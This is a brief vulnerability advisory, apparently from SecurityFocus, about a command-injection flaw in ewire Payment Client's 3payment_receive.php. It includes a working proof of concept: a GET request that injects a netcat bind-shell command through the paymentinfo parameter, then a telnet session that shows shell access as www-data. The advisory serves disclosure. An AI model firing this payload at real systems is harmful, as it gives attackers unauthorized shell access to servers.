source: http://www.securityfocus.com/bid/25683/info

ewire Payment Client is prone to a vulnerability that allows attackers to execute arbitrary shell commands because the software fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary shell commands on an affected computer with the privileges of the application using the affected class utility.

ewire Payment Client 1.60 and 1.70 are vulnerable to this issue. 

GET
http://www.example.com/simplePHPLinux/3payment_receive.php?paymentin
fo=`/bin/nc -l -p6666 -e /bin/bash`
$ telnet www.example.com 6666
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)